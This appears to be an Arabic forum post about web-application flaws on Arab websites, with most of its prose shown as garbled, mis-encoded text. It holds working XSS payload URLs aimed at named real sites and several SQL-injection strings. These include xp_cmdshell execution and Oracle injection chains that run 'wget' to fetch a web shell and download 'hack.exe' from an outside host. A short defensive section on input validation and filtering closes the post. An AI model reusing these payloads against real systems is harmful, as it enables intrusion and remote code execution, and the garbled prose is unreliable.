ÇáÓáÇã Úáíßã ,,,

ÊÛíÈÊ ÝÊÑå Úä ÇáãäÊÏì áÅäÔÛÇáí ÈßÊÇÈå ÇÏÇÉ æåí ÚÈÇÑå Úä ÈÑäÇãÌ
ÝáÊÑå ÇáÈíÇäÇÊ Èíä ÇáãÓÊÎÏã æÓíÑÝÑ ÇáæíÈ ,,, æÈÚÏ Çä ÇäÊåíÊ ãä ÇáÈÍË Ýí åÐÇ ÇáãæÖæÚ

ÊæÕáÊ áäÊíÌå ÛÇíå Ýí ÇáÎØæÑÉ ¿!! æåí
Ãä ÃßËÑ ãä 90% ãä ÊØÈíÞÇÊ ÇáãæÇÞÚ ÇáÚÑÈíå ÊæÌÏ ÈåÇ ËÛÑÇÊ Ããäíå .
áÇ ÊÚÊÞÏ Çäí ÎÑÝÊ ,,, ÊÇÈÚ ÇáãæÖæÚ
-
ÏÇÆãÇ äÑì ÇáãæÇÞÚ ÇáÚÑÈíå , ÚÈÇÑå Úä ÊØÈíÞÇÊ ÌÇåÒÉ ãËá ÇáãÌáå æÇáãäÊÏíÇÊ æÈÑÇãÌ ÇáÈÍË
æåÐÇ Çáí ÓÊÑ Úáì ãæÇÞÚäÇ ãä ÇáÅÎÊÑÇÞ æÞáá ãÓÊæì ÇáÎØæÑÉ .
-
Çáãåã ÇäÇ ÊÌÇåáÊ åÐÉ ÇáãæÇÞÚ æÞãÊ ÈÇáÈÍË Ýí ÇáãæÇÞÚ ÇáÊí ÊÍÊæí Úáì ÇáÃÞá Úáì ÊØÈíÞ ÈÑãÌí æÇÍÏ
ãßÊæÈ ãä ÞÈá ÇáãæÞÚ , ãËá ÓÌá ÇáÒæÇÑ æÇáÈÍË æ ÊÍãíá ÇáÕæÑ æÅÑÓÇá ÇáÅíãíá æÇáÞÇÆãÉ ÇáÈÑíÏíÉ........
-
æáÞíÊ Çä ÃßËÑãä 90% ãä åÐÉ ÇáÊØÈíÞÇÊ ÈåÇ ÃÎØÇÁ ÈÑãÌíÉ æËÛÑÇÊ ÃãäíÉ
æÈÇáÊÃßíÏ áßí ÃËÈÊ ßáÇãí ãØáæÈ ÃãËáÉ ÊØÈíÞíÉ ,, æäÈÏà ÈÇáÃßËÑ ÅäÊÔÇÑ.
-
-
ÇæáÇð : ÎØà Ãæ ËÛÑÉ robots

ãáÝ robots íãßä íßæä ÛÑíÈ ÚáíäÇ æÃæá ãÑå äÓãÚ Úäå,,
æáßäå ãÚÑæÝ Ýí ÇáãæÇÞÚ ÇáÚÇáãíå æÅÓÊÎÏÇãå ÔÛáå ÇÓÇÓíå áÃãä ÇáãæÇÞÚ ,ßãÇ ÊáÇÍÙ
http://www.ibm.com/robots.txt
http://www.securiteam.com/robots.txt
http://www.google.com/robots.txt

....
åÐÇ ÇáãáÝ ãä ÅÓãå robots.txt íÓÊÎÏã áÊæÌíå ãÇíÚÑÝ ÈÇáÑÈæÊ Çæ ÇáÑÌá ÇáÂáí¿!
Çæ ãÇíÚÑÝ ÈÃÎØÈæØ ÇáÔÈßå ,, æåí ÚÈÇÑÉ Úä ãÍÑßÇÊ ÖÎãå ãËá ãÍÑß ÌæÌá æãÍÑßÇÊ ÊÊÈÚ ÈíÇäÇÊ ÇáÔÈßÇÊ netcraft.com
æÊÞííã ÇáãæÇÞÚwebhosting.info ÊÓÊÎÏã áÝåÑÓå ßá ÕÝÍÉ Ýí ÇáãæÞÚ ,, ãä ÎáÇá åÐÇ ÇáãáÝ ÊÓÊØíÚ Çä ÊÎÈÑ åÐÇ robots Çí ÇáãÌáÏÇÊ íÝåÑÓ
æÃí ÇáÕÝÍÇÊ ããäæÚ Çä íÞÊÑÈ ãäåÇ ¿¿ æåäÇ ÇáÎØà ÊÌÏ ßá ãÍÊæì ÇáãæÇÞÚ ÇáÚÑÈíå ÈãÇ ÝíåÇ ÇáÕÝÍÇÊ ÇáÓÑíÉ ÈÏÇÎá ãÍÑßÇÊ ÇáÈÍË
-
ÈÚØíß ãËÇá ,, ÇÛáÈ ÇáãæÇÞÚ ÈåÇ ÕÝÍÇÊ æÎÏãÇÊ áÇ íãßä ÇáæÕæá áåÇ Åáì ÈÚÏ ÇáÊÓÌíá Ýí ÇáãæÞÚ
Ôæ ÑÇíß ÅÐÇ ÞáÊ íãßä ÇáÏÎæá áåÇ Èßá ÈÓÇØå ãä ÎáÇá ãÍÑß ÇáÈÍË ÌæÌá
Ýí ÎíÇÑÇÊ ÇáÈÍË ÇáãÊÞÏã Ýí ÌæÌá ÍÏÏ ÇáÈÍË Ýí ÇáãæÞÚ ÇáãÍÏÏ ÝÞØ
æÝí ÎÇäÉ ÇáÈÍË ÅØÈÚ ÇáãÓÇÝå¿ íÚäí ÈÓ ÅÖÛØ Úáì ãÝÊÇÍ ÇáãÓÇÝå Ýí áæÍå ÇáÊÍßã
æÔæÝ äÊÇÆÌ ÇáÈÍË ßá ÕÝÍÇÊ ÇáãæÞÚ ÈãÇ ÝíåÇ ÇáããäæÚ æÇáãÓãæÍ ÏÎæáåÇ
-
äÞØå ËÇäíå: áßá áÛå ÈÑãÌå ãÚÑÝ ÎØà Çæ ÑÞã ÇáÎØà æÇáÌãáå ÇáÊí íÙåÑåÇ ÇáÓíÑÝÑ
ãËá áæ ÍÏË ÎØà Ýí ÓíÑÝÑ ÇáÃæÑÇßá íÙåÑ ãÚÑÝ ÇáÎØà ÇáÊÇáí : JBO-27122
æÈÏæÑäÇ äÞæã ÈÇáÈÍË Úä Çí ãÚÑÝ ÎØà Ýí ÇáãæÞÚ ãä ÎáÇá ÌæÌá áÊÙåÑ ßæÏ ÇáÎØà äÝÓå
-
ÇãÇ ÇáÔÛáå ÇáÃÎØÑ Ýåí ãäÚ ÈÑÇãÌ ÊÍãíá ÇáÈÇßÏæÑ Ãæ ÇáÔá ßæÏ Ýí ÇáÓíÑÝÑ
ÈÑÇãÌ ÇáÊÍãíá ÇáãÓÊÎÏãå Ýí ÇáÃäÙãÉ åí ÇáØÑíÞÉ ÇáÊí íÓÊÎÏãåÇ ãÎÊÑÞí ÇáÃäÙãÉ áÊÍãíá Ãí ãáÝ ááÓíÑÝÑ
ãËáÇ Ýí äÙÇã ÇáæäÏæÒ íÓÊÎÏã ÇáÈÑäÇãÌ tftp æÝí ÃäÙãÉ ÇáíæäßÓ íÓÊÎÏã ÇáÈÑÇäÇãÌ wget
æÈÏæÑäÇ æãä ÎáÇá ãáÝ robots äÓÊØíÚ ãäÚ ÇáæÕæá áÃí ãáÝ ÈåÐå ÇáÃÓãÇÁ wget,ls,tftp,dir æÛíÑåÇ...
æÈåÐÇ äßæä ÝåãäÇ ÝÇÆÏÉ ãáÝ robots ,, áãÒíÏ ãä ÇáãÚáæãÇÊ Íæá åÐÇ ÇáãáÝ ..
http://www.robotstxt.org/wc/faq.html
/
/
/

ËÇäíÇð: ËÛÑÇÊ Cross-Site Scripting æ XSS Ýí ÇáãæÇÞÚ ÇáÚÑÈíÉ
åÐÇ ÇáäæÚ ãä ÇáËÛÑÇÊ ÚÈÇÑÉ Úä ÅÏÎÇá ßæÏ html æÊäÝíÐÉ ãä ÎáÇá ÇáãÊÕÝÍ
ÏÇÆãÇ ÊÑì Ýí ÇáãäÊÏíÇÊ æÛíÑåÇ ÈÑäÇãÌ áÊÚØíá ÃßæÇÏ html åÐÇ ÇáÈÑäÇãÌ íäÞÕ ÇÛáÈ ÊØÈíÞÇÊ ÇáæíÈ ÇáÚÑÈíå

ÊÚãá áÛå html Úáì ÊäÝíÐ Çí ÇãÑ Èíä ÇáÞæÓíä <...> æáÐáß íÚÊÑ ÇáÞæÓ < Èáæß ÇáßæÏ ÇáÊäÝíÐí
ÈÚØíß ãËÇá ,, ÇáßæÏ ÇáÊÇáí ÚÈÇÑÉ Úä ÔÝÑÉ ÊäÝíÐíÉ áÕÝÍÉ html
<script>alert('Msg');</script>
äÝÓ ÇáßæÏ ÇáÓÇÈÞ íßÊÈ ÈåÐÇ ÇáÔßá áíÊÍæá ãä ßæÏ ÊäÝíÐí Åáì ÈíÇäÇÊ ÝÞØ
&lt;script&gt;alert('Msg');&lt;/script&gt;

ÌÑÈ ÅÝÊÍ ßæÏ Çí ÕÝÍÉ html æÃßÊÈ Çæá Ìãáå ,, æÈÚÏ Ðáß ÌÑÈ ÇáÌãáå ÇáËÇäíå áÊÑì ÇáÝÑÞ
Çáãåã åÐÇ ÇáÊÍæíá ãä ÇáÕíÛå ÇáÃæáì Åáì ÇáÕíÛå ÇáËÇäíå ,, íÚÑÝ ÈÊÚØíá ÃßæÇÏ html
æåÐå ÇáØÑíÞå ÛíÑ ãæÌæÏÉ Ýí ÃÖÎã ÇáãæÇÞÚ ÇáÚÑÈíå ,,, æÈÐáß Êßæä ËÛÑÇÊ Cross-Site Scripting
íãßä ÅÓÊÛáÇáåÇ áÓÑÞå ÍÓÇÈ ÇáãÏíÑ Úä ØÑíÞ ÇáßæßíÒ.... æåÐÉ ÇãËáå Úáì åÐÇ ÇáäæÚ ãä ÇáËÛÑÇÊ Ýí ÇáãæÇÞÚ ÇáÚÑÈíå
ãáÇÍÙÉ : ÅäÓÎ ÇáÚäæÇä æÇáÕÞÉ Ýí ÇáãÊÕÝÍ æÈÚÏ Ðáß Þã ÈÇáÊäÝíÐ ,, áßí ÊÚãá ÇáËÛÑÉ ÈÔßá ÕÍíÍ

http://search.ayna.com/cgi-bin/search.cgi?q=</TITLE><script>alert('JAAS~~~Hack');</script>
---------------
http://directory.naseej.com/servlet/Directory?interfacelang=1&defaulttype=0&type=2&sitelang=2&service=arabsite&submit=++&words=%3Cscript%3Ealert('jaas~~~hack');%3C/script>
------------------
http://www.arab1000.com/cgi-bin2/rank/search.cgi?key=<script>alert('JAAS~~~attack');</script>

var username= Request.form("user");
var password = Request.form("password");

Select * from Users where USR ='" + username + "' and  PSW='" +password +'";

Select * from Users where USR ='jaas' and  PSW='123456';

Select * from Users where USR ='jaas' and  PSW='123456' OR 1=1;--';

exec master..xp_cmdshell 'dir'

http://www.xxx.com/test.asp?user=jaas&password=123456 ';exec master..xp_cmdshell 'dir'; --

http://www.xxx.com/test.asp?user=jaas&password=123456'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run',null,'cmd.exe';--

-
æÈÚÏ ãÇ ÝåãäÇ ÇáÅÓÊÛáÇá ÈÔßá ÊÝÕíáí ,, ÎáæäÇ äÃÎÐ ÃÏÇÉ Ãæ ÈÑäÇãÌ íÓåá ÚáíäÇ ÇáÔÛáÉ ßËíÑ
ÇáÃÏÇÉ SQL INJ Commander ÊÓÊÎÏã æÊäÝÐ ßá ÇæÇãÑ æËÛÑÇÊ SQL ÈßÈÓå ÒÑ

-
áÊÍãíá ÇáÃÏÇÉ

String username = request.getParameter("user");
String password = request.getParameter("password");

String SQLQuery = "SELECT Username FROM Users WHERE USR= "+ username + "' AND PSW = '" + password + "'";

Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");

åá ÊÚáã ßíÝ Óíßæä Ôßá ÇáØáÈ ÃäÕÍß Çä áÇ ÊÓÊÛÑÈ ãä Ôßá ÇáØáÈ
áÃä åäÇáß ØÑÞ áÅÑÓÇá ãáÝÇÊ ÊäÝíÐí ßÇãá Úä ØÑíÞ ãÊÕÝÍ ÇáÅäÊÑäÊ

http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2  authid current_user as pragma autonomous_transaction;SqlCommand VARCHAR2(2048);
BEGIN SqlCommand := '
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*;
import java.io.*;
public class ExecuteOS{public static void execOSCmd () throws IOException, java.lang.InterruptedException{Runtime.getRuntime().exec("wget 222.0.0.1/jShell.jsp");}';execute immediate SqlCommand;
 SqlCommand := 'CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)AS LANGUAGE JAVANAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
 execute immediate SqlCommand;
execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';commit; return END;
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
SET SERVEROUTPUT ON
CALL dbms_java.set_output(1999);
EXEC sys.proc_executeos (); --

http://www.xxx.com/test.jsp?user=jaas&password=123456'; CREATE OR REPLACE  FUNCTION "SCOTT"."SQLI"  return varchar2
authid current_user as
  pragma autonomous_transaction;
  SqlCommand VARCHAR2(2048);
BEGIN
  SqlCommand := '
CREATE OR REPLACE JAVA SOURCE NAMED "SRC_FILE_UPLOAD" AS
import java.lang.*;
import java.io.*;
public class FileUpload {
  public static void fileUpload(String myFile, String url) throws Exception
  {
    File binaryFile = new File(myFile);
    FileOutputStream outStream = new  FileOutputStream(binaryFile);
    java.net.URL u = new java.net.URL(url);
    java.net.URLConnection uc = u.openConnection();
    InputStream is = (InputStream)uc.getInputStream();
    BufferedReader in = new BufferedReader (new InputStreamReader (is));
    byte buffer[] = new byte[1024];
    int length = -1;
    while ((length = is.read(buffer)) != -1) {
      outStream.write(buffer, 0, length);
      outStream.flush(); }
    is.close(); outStream.close();
  } };';
  execute immediate SqlCommand;
  SqlCommand := '
CREATE OR REPLACE PROCEDURE "PROC_FILEUPLOAD" (p_file varchar2, p_url varchar2)
AS LANGUAGE JAVA
NAME ''FileUpload.fileUpload (java.lang.String, java.lang.String)'';';
  execute immediate SqlCommand;
  execute immediate 'GRANT EXECUTE ON PROC_FILEUPLOAD TO SCOTT';
  commit; 
  return ''; 
END;
SET SERVEROUTPUT ON
CALL dbms_java.set_output(1999);
EXEC SYS.SQLIVULN('MANAGER''||SCOTT.SQLI()||''');
EXEC sys.proc_fileupload ('c:\hack.exe', 'http://hackersite/hack.exe'); --

-
æÈÇáÊÃßíÏ íäÓÎ ßÇãá ÇáßæÏ Åáì address bar Ýí ãÊÕÝÍ ÇáÅäÊÑäÊ æíÊã ÊäÝíÐ ÇáØáÈ ááÓíÑÝÑ áíÊã ÅÎÊÑÇÞÉ
///////////////////////////////////////

æÈÚÏ åÐÉ ÇáãÞÏãÉ ÇáÊí ÇÚÊÞÏ ÇäåÇ ÓÊßæä ÃÔíÇÁ ÛÑíÈå íÕÚÈ ÊÕÏíÞåÇ ãä ÞÈá ãÈÑãÌí ÇáãæÇÞÚ ...
ÈÞí ÓÄÇá íØÑÍ äÝÓå ,,, æåæ ÇáÍá ¿ Çæ ÇáÍáæá ÇáãÊÈÚÉ áÍá åÐÉ ÇáÃÎØÇÁ
/
ÇáäÞØÉ ÇáãÍæÑíÉ áÍá ßá åÐÉ ÇáËÛÑÇÊ ÈÓíØÉ æåí ÇáÊÔííß Ãæ ÝÍÕ ßá ÈÇÑãÊÑ Ãæ ØáÈ ããÑÑ ãä ãÊÕÝÍ ÇáÅäÊÑäÊ Åáì ÇáÓíÑÝÑ
Ãæá ÔÛáÉ åí ÇáÝÍÕ ÇáÈÑãÌí ÈÏÇÎá äÝÓ ÇáÊØÈíÞ ÞÈá Ãä íÊã ãÚÇáÌÉ ÇáØáÈ
ËÇäí ÔÛáÉ æåí ÅÓÊÎÏÇã Çí ØÑíÞÉ áÝÊáÑÉ ÇáØáÈÇÊ
1- ÅãÇ Úä ØÑíÞ ÊØÈíÞ ÏÇÎáí ááÓíÑÝÑ ãËá ISAPI áÓíÑÝÑÇÊ ÇáæäÏæÒ , Ãæ Úä ØÑíÞ NSAPI áÓíÑÝÑÇÊ ÇáíæäßÓ
2- Çæ Úä ØÑíÞ Web Firewall æÃÔåÑåÇ NetContinuuum Web Firewall
//////////////////////

æÈÚÏ Ãä ÊÞæã ÈÇáÊÔííß ÇáÈÑãÌí Úáì ÇáãÏÎáÇÊ æ ÈÚÏ Ãä ÊÞæã ÈÚãáíÉ ÇáÝáÊÑÉ ááÈíÇäÇÊ
ÊÞæã ÈÚãáíÉ ÇáÅÎÊÈÇÑ ,,, æãä ÃÝÖá ÃÏæÇÊ ÇáÅÎÊÈÇÑ æÃÔãáåÇ ÇáÃÏÇÉ xscan


ááÊÍãíá :